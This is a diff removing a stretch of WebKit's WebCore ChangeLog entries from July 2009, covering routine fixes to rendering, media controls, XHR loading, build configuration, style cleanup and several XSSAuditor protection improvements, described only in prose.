-        * platform/graphics/cg/PDFDocumentImage.cpp:
-        (WebCore::PDFDocumentImage::dataChanged): Use the data() accessor
-        instead of the m_data member.
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::dataChanged): Ditto.
-
-2009-07-12  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27189
-        
-        Fixes insufficient check in XSSAuditor::canSetBaseElementURL that caused 
-        XSSAuditor to incorrectly block HTML Base elements whose base path coincided 
-        with the URL of the page.
-
-        Test: http/tests/security/xssAuditor/base-href-safe3.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canSetBaseElementURL): Changed conditional to only call 
-        XSSAuditor::findInRequest() if the host in the page URL disagrees with the host 
-        in the base element URL.
-
-2009-07-12  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Text searching with ICU should take the user's default locale into account
-        https://bugs.webkit.org/show_bug.cgi?id=27184
-        rdar://problem/6812121
-
-        No simple way to test this since it's dependent on user locale.
-        After this, the user's default locale is used only on Mac.
-
-        * editing/TextIterator.cpp:
-        (WebCore::createSearcher): Pass result of the currentSearchLocaleID
-        function as the locale.
-
-        * platform/text/TextBreakIteratorInternalICU.h: Added declaration of
-        currentSearchLocaleID function.
-
-        * platform/text/android/TextBreakIteratorInternalICU.cpp:
-        (WebCore::currentSearchLocaleID): Added. Returns the empty string.
-        * platform/text/chromium/TextBreakIteratorInternalICUChromium.cpp:
-        (WebCore::currentSearchLocaleID): Ditto.
-        * platform/text/gtk/TextBreakIteratorInternalICUGtk.cpp:
-        (WebCore::currentSearchLocaleID): Ditto.
-
-        * platform/text/mac/TextBreakIteratorInternalICUMac.mm:
-        (WebCore::textBreakLocalePreference): Added. Returns the value of
-        the AppleTextBreakLocale preference.
-        (WebCore::topLanguagePreference): Added. Returns the value of the
-        first item in the AppleLanguages preference.
-        (WebCore::canonicalLanguageIdentifier): Added. Cover for the
-        CFLocaleCreateCanonicalLanguageIdentifierFromString function.
-        (WebCore::getLocale): Added. Transfers the locale from a CFStringRef
-        into a buffer.
-        (WebCore::getSearchLocale): Added. Calls topLanguagePreference,
-        canonicalLanguageIdentifier, and getLocale.
-        (WebCore::currentSearchLocaleID): Added. Calls getSearchLocale once.
-        (WebCore::getTextBreakLocale): Changed to call
-        textBreakLocalePreference, topLanguagePreference,
-        canonicalLanguageIdentifier, and getLocale.
-
-        * platform/text/win/TextBreakIteratorInternalICUWin.cpp:
-        (WebCore::currentSearchLocaleID): Added. Returns the empty string.
-        * platform/wx/TemporaryLinkStubs.cpp:
-        (WebCore::currentSearchLocaleID): Ditto.
-
-2009-07-12  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25415
-        [GTK][ATK] Please implement support for get_text_at_offset
-
-        Create a PangoLayout that properly represents the visual
-        appearance of the text in the web page so that the line boundary
-        modes of getText{At,Before,After}Offset work correctly.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (UTF16ToUTF8):
-        (g_substr):
-        (convertUniCharToUTF8):
-        (getPangoLayoutForAtk):
-
-2009-07-11  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Bug 27187 - Match Gecko behaviour for canvas path mutation APIs on an empty path
-        <https://bugs.webkit.org/show_bug.cgi?id=27187>
-
-        Simple API change, check for the empty path and add appropriate point if necessary.
-
-        Test: fast/canvas/canvas-modify-emptyPath.html
-
-        * Info.plist:
-        * WebCore.xcodeproj/project.pbxproj:
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::lineTo):
-        (WebCore::CanvasRenderingContext2D::quadraticCurveTo):
-        (WebCore::CanvasRenderingContext2D::bezierCurveTo):
-
-2009-07-11  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Antti Koivisto.
-
-        HTMLMediaElement.canPlayType "maybe" and "probably" reversed
-        https://bugs.webkit.org/show_bug.cgi?id=27186
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::supportsType):
-            Return "probably" if type has codecs parameter.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::supportsType):
-            Ditto.
-
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::supportsType):
-            Ditto.
-
-2009-07-11  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Mark Rowe.
-
-        A worker-thread inspired follow-up for:
-        https://bugs.webkit.org/show_bug.cgi?id=26496 and <rdar://problem/7046520>
-        REGRESSION: XHR stream connection blocks iFrame loading and resource downloading
-
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::loadRequestAsynchronously): Don't perform the XHR compensation when the XHR
-          is running on a worker thread. Accessing the global Cache data structures from a non-main thread is
-          not currently supported.
-
-2009-07-11  Simon Fraser  <simon.fraser@apple.com>
-
-        Enable support for accelerated compositing and 3d transforms on Leopard.
-        <https://bugs.webkit.org/show_bug.cgi?id=20166>
-        <rdar://problem/6120614>
-
-        Reviewed by Oliver Hunt.
-
-        * Configurations/FeatureDefines.xcconfig:
-
-2009-07-11  Simon Hausmann  <hausmann@webkit.org>
-
-        Fix the Qt build after r45724.
-
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtRuntimeObjectImp::QtRuntimeObjectImp):
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::QtRuntimeMethod::QtRuntimeMethod):
-
-2009-07-10  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26921
-
-        Implements support for HTML entities, so XSSAuditor can protect against attacks
-        encoded with HTML entities.
-
-        Tests: http/tests/security/xssAuditor/inline-event-HTML-entities.html
-               http/tests/security/xssAuditor/javascript-link-HTML-entities-control-char.html
-               http/tests/security/xssAuditor/javascript-link-HTML-entities-named.html
-               http/tests/security/xssAuditor/javascript-link-HTML-entities-null-char.html
-               http/tests/security/xssAuditor/javascript-link-HTML-entities.html
-               http/tests/security/xssAuditor/link-onclick-entities.html
-               http/tests/security/xssAuditor/script-tag-entities.html
-               http/tests/security/xssAuditor/script-tag-with-source-entities.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
-        (WebCore::XSSAuditor::decodeURL): Modified to call WebCore::XSSAuditor::decodeHTMLEntities
-        to decode HTML entities.
-        (WebCore::XSSAuditor::decodeHTMLEntities): Added method to decode HTML entities.
-        (WebCore::XSSAuditor::findInRequest):
-        * page/XSSAuditor.h:
-
-2009-07-10  David Kilzer  <ddkilzer@apple.com>
-
-        Bug 27007: Build fixes when ICONDATABASE is disabled
-
-        <https://bugs.webkit.org/show_bug.cgi?id=27007>
-
-        Reviewed by Sam Weinig.
-
-        * WebCore.xcodeproj/project.pbxproj: Added IconDatabaseNone.cpp
-        to the project.
-        * loader/icon/IconDatabase.cpp: Added
-        #if ENABLE(ICONDATABASE)/#endif macro guard.
-        * loader/icon/IconDatabase.h: Removed three public methods from
-        #if ENABLE(ICONDATABASE)/#endif macro so that they may be
-        stubbed out in IconDatabaseNone.cpp.
-        * loader/icon/IconDatabaseNone.cpp: Added
-        #if !ENABLE(ICONDATABASE)/#endif macro guard.
-        (WebCore::IconDatabase::importIconURLForPageURL): Added.
-        (WebCore::IconDatabase::importIconDataForIconURL): Added.
-        (WebCore::IconDatabase::shouldStopThreadActivity): Added.
-
-2009-07-10  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27151
-
-        Fixes issue where JavaScript URLs that contain null- and non-null control characters can
-        bypass XSSAuditor.
-
-        Tests: http/tests/security/xssAuditor/javascript-link-control-char.html
-               http/tests/security/xssAuditor/javascript-link-null-char.html
-               http/tests/security/xssAuditor/javascript-link.html
-
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): Separated out logic for JavaScript URLs from 
-        inline scripts. For JavaScript URLs, calls XSSAuditor::canEvaluateJavaScriptURL.
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate): Made similar changes to evaluate() as in
-        bindings/js/ScriptController.cpp.
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canEvaluateJavaScriptURL): Separated out logic for JavaScript URLs
-        into its own method.
-        * page/XSSAuditor.h:
-
-2009-07-10  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by David Kilzer.
-
-        WebKit needs a style linting tool
-        https://bugs.webkit.org/show_bug.cgi?id=25884
-
-        Fix bunch of style issues by autofix of cpplint.
-        This patch is created to demonstrate the autofix of cpplint.py.
-
-        No new testcases because it's a style fix
-
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseMediaQuery):
-        (WebCore::CSSParser::validUnit):
-        (WebCore::CSSParser::parseValue):
-        (WebCore::skipCommaInDashboardRegion):
-        (WebCore::CSSParser::parseDashboardRegions):
-        (WebCore::ShadowParseContext::commitValue):
-        (WebCore::ShadowParseContext::commitLength):
-        (WebCore::ShadowParseContext::commitColor):
-        (WebCore::BorderImageParseContext::commitNumber):
-        (WebCore::BorderImageParseContext::commitWidth):
-        (WebCore::BorderImageParseContext::commitRule):
-        (WebCore::BorderImageParseContext::commitBorderImage):
-        (WebCore::CSSParser::lex):
-        (WebCore::CSSParser::text):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * css/MediaList.cpp:
-        (WebCore::MediaList::deleteMedium):
-        * css/MediaQuery.h:
-        * css/MediaQueryEvaluator.cpp:
-        (WebCore::parseAspectRatio):
-        * css/MediaQueryEvaluator.h:
-        * css/MediaQueryExp.h:
-        (WebCore::MediaQueryExp::operator==):
-        * css/WebKitCSSMatrix.h:
-        * dom/Comment.h:
-        * dom/Document.cpp:
-        (WebCore::Document::setFocusedNode):
-        * dom/Document.h:
-        (WebCore::Document::setHasDashboardRegions):
-        * dom/DocumentFragment.cpp:
-        (WebCore::DocumentFragment::nodeName):
-        * dom/DocumentFragment.h:
-        * dom/DynamicNodeList.h:
-        * dom/EditingText.h:
-        * dom/Element.cpp:
-        (WebCore::Element::dispatchAttrAdditionEvent):
-        * dom/NamedAttrMap.cpp:
-        (WebCore::NamedNodeMap::item):
-        * dom/Node.cpp:
-        (WebCore::Node::nodeValue):
-        (WebCore::Node::nodeIndex):
-        * dom/NodeRareData.h:
-        (WebCore::NodeListsNodeData::create):
-        * dom/Notation.h:
-        * dom/ProcessingInstruction.h:
-        * dom/Range.cpp:
-        (WebCore::Range::processContents):
-        * dom/StyledElement.cpp:
-        (WebCore::toHex):
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::PendingCallbacks::PendingStartElementNSCallback::~PendingStartElementNSCallback):
-        (WebCore::PendingCallbacks::PendingStartElementNSCallback::call):
-        (WebCore::PendingCallbacks::):
-        (WebCore::OffsetBuffer::readOutBytes):
-        (WebCore::handleElementNamespaces):
-        (WebCore::handleElementAttributes):
-        (WebCore::attributesStartElementNsHandler):
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::attributesStartElementNsHandler):
-        (WebCore::XMLTokenizer::parseStartElement):
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::ApplyStyleCommand::applyInlineStyle):
-        * editing/DeleteSelectionCommand.cpp:
-        (WebCore::DeleteSelectionCommand::removeNode):
-        * editing/Editor.cpp:
-        (WebCore::Editor::pasteAsPlainText):
-        * editing/SelectionController.cpp:
-        (WebCore::SelectionController::directionOfEnclosingBlock):
-        * editing/SmartReplaceICU.cpp:
-        (WebCore::addAllCodePoints):
-        * history/HistoryItem.cpp:
-        (WebCore::HistoryItem::icon):
-        (WebCore::HistoryItem::adoptVisitCounts):
-        * html/CanvasStyle.cpp:
-        (WebCore::CanvasStyle::applyFillColor):
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::setActive):
-        (WebCore::HTMLAnchorElement::isLiveLink):
-        * html/HTMLAppletElement.h:
-        * html/HTMLAudioElement.h:
-        * html/HTMLBRElement.h:
-        * html/HTMLBaseElement.h:
-        * html/HTMLBaseFontElement.h:
-        * html/HTMLDListElement.h:
-        * html/HTMLDirectoryElement.h:
-        * html/HTMLFieldSetElement.cpp:
-        (WebCore::HTMLFieldSetElement::HTMLFieldSetElement):
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::reset):
-        * html/HTMLHRElement.cpp:
-        (WebCore::HTMLHRElement::parseMappedAttribute):
-        * html/HTMLHeadElement.h:
-        * html/HTMLHtmlElement.h:
-        * html/HTMLImageElement.h:
-        (WebCore::HTMLImageElement::setLoadManually):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::selection):
-        * html/HTMLIsIndexElement.h:
-        * html/HTMLMarqueeElement.cpp:
-        * html/HTMLMediaElement.h:
-        (WebCore::HTMLMediaElement::):
-        * html/HTMLMenuElement.h:
-        * html/HTMLMetaElement.h:
-        * html/HTMLModElement.h:
-        * html/HTMLOListElement.h:
-        * html/HTMLOptionElement.cpp:
-        (WebCore::HTMLOptionElement::childrenChanged):
-        * html/HTMLParamElement.h:
-        * html/HTMLQuoteElement.h:
-        * html/HTMLStyleElement.h:
-        * html/HTMLTableCaptionElement.h:
-        * html/HTMLTableCellElement.h:
-        * html/HTMLTableColElement.h:
-        * html/HTMLTableSectionElement.cpp:
-        (WebCore::HTMLTableSectionElement::deleteRow):
-        * html/HTMLTitleElement.h:
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::parseNonHTMLText):
-        (WebCore::HTMLTokenizer::parseEntity):
-        (WebCore::HTMLTokenizer::parseTag):
-        (WebCore::HTMLTokenizer::write):
-        * html/HTMLUListElement.h:
-        * html/HTMLVideoElement.h:
-        * html/TimeRanges.h:
-        (WebCore::TimeRanges::Range::Range):
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::enableResourceTracking):
-        (WebCore::InspectorController::disableResourceTracking):
+        (WebCore::InspectorController::frontendScriptState):
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::newInspectorJSONObject):
-        * page/Console.cpp:
-        (WebCore::Console::addMessage):
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMousePressEvent):
-        (WebCore::EventHandler::selectCursor):
-        (WebCore::EventHandler::defaultKeyboardEventHandler):
-        * page/Frame.cpp:
-        (WebCore::Frame::jsDefaultStatusBarText):
-        * page/android/DragControllerAndroid.cpp:
-        (WebCore::DragController::dragOperation):
-        * page/android/EventHandlerAndroid.cpp:
-        (WebCore::EventHandler::tabsToAllControls):
-        (WebCore::EventHandler::eventActivatedView):
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        * page/gtk/DragControllerGtk.cpp:
-        (WebCore::DragController::dragOperation):
-        * page/qt/DragControllerQt.cpp:
-        * page/win/DragControllerWin.cpp:
-        (WebCore::DragController::isCopyKeyDown):
-        * page/win/FrameWin.h:
-        * rendering/RenderSlider.cpp:
-        (WebCore::RenderSlider::mouseEventOffsetToThumb):
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::setVerticalAlignLength):
-        (WebCore::InheritedFlags::setUnicodeBidi):
-        (WebCore::InheritedFlags::setCursor):
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
-        * rendering/style/SVGRenderStyleDefs.h:
-        * rendering/style/StyleInheritedData.h:
-        (WebCore::StyleInheritedData::operator!=):
-        * storage/DatabaseTask.h:
-        * svg/GradientAttributes.h:
-        * svg/LinearGradientAttributes.h:
-        * svg/PatternAttributes.h:
-        * svg/RadialGradientAttributes.h:
-        * svg/SVGAnimatedPathData.h:
-        * svg/SVGAnimatedPoints.h:
-        * svg/SVGAnimationElement.h:
-        * svg/SVGClipPathElement.h:
-        * svg/SVGElementInstance.h:
-        * svg/SVGFEBlendElement.cpp:
-        (WebCore::SVGFEBlendElement::build):
-        * svg/SVGFEBlendElement.h:
-        * svg/SVGFEColorMatrixElement.cpp:
-        (WebCore::SVGFEColorMatrixElement::build):
-        * svg/SVGFEComponentTransferElement.cpp:
-        (WebCore::SVGFEComponentTransferElement::build):
-        * svg/SVGFECompositeElement.cpp:
-        (WebCore::SVGFECompositeElement::build):
-        * svg/SVGFEDiffuseLightingElement.cpp:
-        (WebCore::SVGFEDiffuseLightingElement::build):
-        * svg/SVGFEDisplacementMapElement.cpp:
-        (WebCore::SVGFEDisplacementMapElement::build):
-        * svg/SVGFEDistantLightElement.h:
-        * svg/SVGFEFloodElement.cpp:
-        (WebCore::SVGFEFloodElement::build):
-        * svg/SVGFEFloodElement.h:
-        * svg/SVGFEFuncAElement.h:
-        * svg/SVGFEFuncBElement.h:
-        * svg/SVGFEFuncGElement.h:
-        * svg/SVGFEFuncRElement.h:
-        * svg/SVGFEGaussianBlurElement.cpp:
-        (WebCore::SVGFEGaussianBlurElement::build):
-        * svg/SVGFEImageElement.cpp:
-        (WebCore::SVGFEImageElement::build):
-        * svg/SVGFEMergeElement.cpp:
-        (WebCore::SVGFEMergeElement::build):
-        * svg/SVGFEOffsetElement.cpp:
-        (WebCore::SVGFEOffsetElement::build):
-        * svg/SVGFEPointLightElement.h:
-        * svg/SVGFESpecularLightingElement.cpp:
-        (WebCore::SVGFESpecularLightingElement::build):
-        * svg/SVGFESpotLightElement.h:
-        * svg/SVGFETileElement.cpp:
-        (WebCore::SVGFETileElement::build):
-        * svg/SVGLineElement.cpp:
-        (WebCore::SVGLineElement::parseMappedAttribute):
-        * svg/SVGList.h:
-        * svg/SVGListTraits.h:
-        (WebCore::):
-        * svg/SVGMPathElement.h:
-        * svg/SVGMetadataElement.h:
-        * svg/SVGParserUtilities.cpp:
-        (WebCore::SVGPathParser::parseSVG):
-        (WebCore::SVGPathParser::calculateArc):
-        * svg/SVGPathElement.h:
-        * svg/SVGPathSegClosePath.h:
-        * svg/SVGSVGElement.h:
-        * svg/SVGSetElement.h:
-        * svg/SVGSwitchElement.h:
-        * svg/SVGTextPathElement.cpp:
-        (WebCore::SVGTextPathElement::parseMappedAttribute):
-        * svg/SVGTextPathElement.h:
-        * svg/SVGTitleElement.h:
-        * svg/SVGTransformable.cpp:
-        (WebCore::):
-        * svg/SVGViewSpec.cpp:
-        (WebCore::):
-        * svg/animation/SMILTime.cpp:
-        (WebCore::operator+):
-        (WebCore::operator-):
-        (WebCore::operator*):
-        * svg/animation/SVGSMILElement.h:
-        * svg/graphics/SVGResource.cpp:
-        (WebCore::clientMap):
-        * wml/WMLPostfieldElement.cpp:
-        (WebCore::WMLPostfieldElement::value):
-        * wml/WMLSetvarElement.cpp:
-        (WebCore::WMLSetvarElement::value):
-        * workers/WorkerRunLoop.cpp:
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::dropProtection):
-        * xml/XPathPath.h:
-
-2009-07-10  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7049066>.
-        Update SnowLeopard media controller layout.
-
-        * css/mediaControlsQT.css:
-            Update for new layout.
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::movieLoadType):
-            Added to replace isStreaming.
-        * html/HTMLMediaElement.h:
-            Declare movieLoadType, remove isStreaming.
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlStatusDisplayElement::update):
-            Use movieLoadType instead of isStreaming.
-        (WebCore::MediaControlTimelineContainerElement::rendererIsNeeded):
-            MediaControlElement is the base class, not HTMLInputElement.
-        (WebCore::MediaControlStatusDisplayElement::rendererIsNeeded):
-            Ditto.
-        (WebCore::MediaControlRewindButtonElement::rendererIsNeeded):
-            Don't display rewind button for live streams.
-        (WebCore::MediaControlReturnToRealtimeButtonElement::rendererIsNeeded):
-            MediaControlInputElement is the base class, not HTMLInputElement.
-        * rendering/MediaControlElements.h:
-
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::getMediaUIPartStateFlags):
-            New, return wkDrawMediaUIPart flags.
-        (WebCore::RenderThemeMac::paintMediaFullscreenButton):
-        (WebCore::RenderThemeMac::paintMediaMuteButton):
-        (WebCore::RenderThemeMac::paintMediaPlayButton):
-        (WebCore::RenderThemeMac::paintMediaSeekBackButton):
-        (WebCore::RenderThemeMac::paintMediaSeekForwardButton):
-        (WebCore::RenderThemeMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeMac::paintMediaSliderThumb):
-        (WebCore::RenderThemeMac::paintMediaRewindButton):
-        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton):
-        (WebCore::RenderThemeMac::paintMediaControlsBackground):
-        (WebCore::RenderThemeMac::paintMediaCurrentTime):
-        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
-            Use getMediaUIPartStateFlags.
-
-2009-07-10  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=19562
-        Added build stuff and stub for the ValidityState class, part of HTML5
-        section Forms:
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#validitystate
-
-        Test: fast/forms/ValidityState-001.html
-
-        * DerivedSources.cpp: Fix aimed to include ValidityState files
-        * DerivedSources.make: ditto
-        * GNUmakefile.am: ditto
-        * WebCore.gypi: ditto
-        * WebCore.pro: ditto
-        * WebCore.vcproj/WebCore.vcproj: ditto
-        * WebCore.xcodeproj/project.pbxproj: ditto
-        * WebCoreSources.bkl: ditto
-        * html/HTMLButtonElement.idl: "validity" attribute
-        * html/HTMLFieldSetElement.idl: ditto
-        * html/HTMLFormControlElement.cpp: object getter
-        (WebCore::HTMLFormControlElement::validity):
-        * html/HTMLFormControlElement.h: ditto
-        * html/HTMLInputElement.idl: "validity" attribute
-        * html/HTMLSelectElement.idl: ditto
-        * html/HTMLTextAreaElement.idl: ditto
-        * html/ValidityState.cpp: Added.
-        (WebCore::ValidityState::ValidityState):
-        (WebCore::ValidityState::valid): validation flag
-        * html/ValidityState.h: Added.
-        (WebCore::ValidityState::create): creation routine
-        (WebCore::ValidityState::control): ValidityState's parent getter
-        (WebCore::ValidityState::valueMissing): validation flag
-        (WebCore::ValidityState::typeMismatch): ditto
-        (WebCore::ValidityState::patternMismatch): ditto
-        (WebCore::ValidityState::tooLong): ditto
-        (WebCore::ValidityState::rangeUnderflow): ditto
-        (WebCore::ValidityState::rangeOverflow): ditto
-        (WebCore::ValidityState::stepMismatch): ditto
-        (WebCore::ValidityState::customError): ditto
-        * html/ValidityState.idl: Added.
-
-2009-07-10  Brady Eidson  <beidson@apple.com>
-
-        Style cleanup over my last patch.
-
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::~XMLHttpRequest):
-
-2009-07-10  Kevin McCullough  <kmccullough@apple.com>
-
-        Reviewed by Geoffrey Garen.
-
-        * inspector/JavaScriptCallFrame.cpp:
-        (WebCore::JavaScriptCallFrame::dynamicGlobalObject):
-        * inspector/JavaScriptCallFrame.h: New helper method, used below.
-
-        * inspector/JavaScriptDebugServer.cpp:
-        (WebCore::JavaScriptDebugServer::detach): In the special case
-        where we detach from a window currently executing JavaScript,
-        manually tear down our representation of the JavaScript
-        call stack, since we won't get any more callbacks from JavaScriptCore
-        to automatically tear it down. It's too bad that WebCore is
-        responsible for this kind of tracking -- in the future, it would
-        be nice if more of the breakpoint handling was inside of JavaScriptCore.
-
-2009-07-10  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Antti Koivisto.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26496 and <rdar://problem/7046520>
-        REGRESSION: XHR stream connection blocks iFrame loading and resource downloading
-
-        With this test we ended up going over the maximum-connections-per-host limit that CFNetwork expected.
-        When that happened, the first request that was over the limit ended up in a bizarre state where it 
-        wasn't fully serviced until after the long running XHR was complete.
-
-        Loader and Loader::Host work together to try to not exceed the max-connection limit but non-cache
-        resources - such as XHR - could still end up causing this limit to be exceeded.
-
-        This fix adds a workaround specifically for XHR while we hash out a more thorough solution that will
-        handle this at the resource handle level.
-
-        * loader/loader.cpp:
-        (WebCore::Loader::nonCacheRequestInFlight):
-        (WebCore::Loader::nonCacheRequestComplete):
-        (WebCore::Loader::Host::Host):
-        (WebCore::Loader::Host::nonCacheRequestInFlight):
-        (WebCore::Loader::Host::nonCacheRequestComplete):
-        (WebCore::Loader::Host::servePendingRequests): Take nonCacheRequestsInFlight into account.
-        * loader/loader.h:
-        (WebCore::Loader::Host::processingResource): Take nonCacheRequestsInFlight into account.
-
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::XMLHttpRequest):
-        (WebCore::XMLHttpRequest::~XMLHttpRequest): 
-        (WebCore::XMLHttpRequest::loadRequestAsynchronously): Bump the nonCacheRequestInFlight count.
-        (WebCore::XMLHttpRequest::didFail): Decrement that count if the Loader was notified.
-        (WebCore::XMLHttpRequest::didFinishLoading): Ditto.
-
-2009-07-10  Antti Koivisto  <antti@apple.com>
-
-        Try to unbreak non-Mac build.
-
-        * page/ChromeClient.h:
-        (WebCore::ChromeClient::formDidFocus):
-        (WebCore::ChromeClient::formDidBlur):
-
-2009-07-10  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        The rest of the fix for <rdar://problem/7038831> REGRESSION (TOT): 
-        In Mail, a crash occurs at WebCore::Widget::afterMouseDown() after 
-        clicking To Do's close box
-
-        Make the Widget* in passMouseDownEventToWidget() a RefPtr.
-
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::passMouseDownEventToWidget):
-
-2009-07-10  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        rename getDOMStructure calls w/o JSGlobalObject* to deprecatedGetDOMStructure
-        https://bugs.webkit.org/show_bug.cgi?id=27157
-
-        This is the first step to fixing
-        https://bugs.webkit.org/show_bug.cgi?id=27088
-
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::deprecatedGetDOMStructure):
-        (WebCore::createDOMObjectWrapper):
-        (WebCore::createDOMNodeWrapper):
-        * bindings/js/JSNamedNodesCollection.cpp:
-        (WebCore::JSNamedNodesCollection::JSNamedNodesCollection):
-        * bindings/js/JSRGBColor.cpp:
-        (WebCore::JSRGBColor::JSRGBColor):
-        * bridge/objc/objc_runtime.mm:
-        (JSC::Bindings::ObjcFallbackObjectImp::ObjcFallbackObjectImp):
-        * bridge/runtime_array.cpp:
-        (JSC::RuntimeArray::RuntimeArray):
-        * bridge/runtime_method.cpp:
-        (JSC::RuntimeMethod::RuntimeMethod):
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::RuntimeObjectImp):
-
-2009-07-10  Greg Bolsinga  <bolsinga@apple.com>
-
-        Reviewed by Antti Koivisto.
-
-        Add delegate methods about focus and blur and state change
-        https://bugs.webkit.org/show_bug.cgi?id=27153
-
-        Call the appropriate new ChromeClient methods for focus and blur.
-
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::dispatchFocusEvent):
-        (WebCore::HTMLFormControlElement::dispatchBlurEvent):
-        * html/HTMLFormControlElement.h:
-        * loader/EmptyClients.h:
-        (WebCore::EmptyChromeClient::formDidFocus):
-        (WebCore::EmptyChromeClient::formDidBlur):
-        * page/ChromeClient.h:
-
-2009-07-10  Steve Falkenburg  <sfalken@apple.com>
-
-        <rdar://problem/7048741> REGRESSION: Error about missing SwMenuX.dll opening pages with Shockwave
-        
-        Use altered search path while loading plug-ins. This modifies the DLL search order
-        to look in the directory containing the plug-in even if a call to SetDllDirectory
-        was previously made. Use of SetDllDirectory removes the current directory from the search path,
-        breaking the previous strategy for locating any dependent DLLs of the plug-in.
-        
-        Reviewed by Jon Honeycutt.
-
-        * plugins/win/PluginPackageWin.cpp:
-        (WebCore::PluginPackage::load): Use LoadLibraryEx with LOAD_WITH_ALTERED_SEARCH_PATH
-
-2009-07-10  Adam Roben  <aroben@apple.com>
-
-        Sort all our Xcode projects
-
-        Accomplished using sort-Xcode-project-file.
-
-        Requested by Dave Kilzer.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-07-10  Adam Langley  <agl@google.com>
-
-        Reviewed by Darin Fisher.
-
-        Chromium Linux: use disabled images for disabled widgets.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27106
-
-        Previously, checkboxes and radio controls rendered the same even if disabled.
-        The Chromium side of this change is r20224.
-
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
-        (WebCore::RenderThemeChromiumSkia::paintRadio):
-
-2009-07-10  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by John Sullivan.
-
-        Fix crash when changing the zoom level in http://iphone.akamai.com/
-        <rdar://problem/7029077>
-
-        RenderLayerBacking's paintIntoLayer() method called updateLayerListsIfNeeded(),
-        which could potentially destroy that compositing layer, causing a crash.
-        Prevent this from happening by not doing a compositing update from paintIntoLayer().
-
-        The existing updateLayerListsIfNeeded() was renamed to updateCompositingAndLayerListsIfNeeded(),
-        and still does the compositing update. The new updateLayerListsIfNeeded() does not touch
-        compositing layers, and is still called from paintIntoLayer().
-        
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::paintLayer):
-        (WebCore::RenderLayer::hitTestLayer):
